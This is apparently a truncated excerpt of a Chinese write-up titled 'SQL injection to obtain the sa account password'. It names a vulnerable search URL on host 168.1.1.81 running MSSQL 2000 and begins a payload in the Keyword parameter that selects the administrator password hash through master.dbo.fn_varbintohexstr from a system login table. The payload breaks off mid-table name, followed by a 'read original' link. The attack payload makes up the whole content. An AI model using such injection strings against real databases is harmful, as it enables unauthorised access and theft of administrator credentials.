SQL注入获取Sa账号密码

漏洞位置：http://168.1.1.81/Information/Search?Keyword=1111 漏洞利用： MSSQL 2000   http://168.1.1.81/Information/Search ?Keyword=1111%' AND (Select  master.dbo.fn_varbintohexstr(password) from master.dbo.sysxl

>>阅读原文<<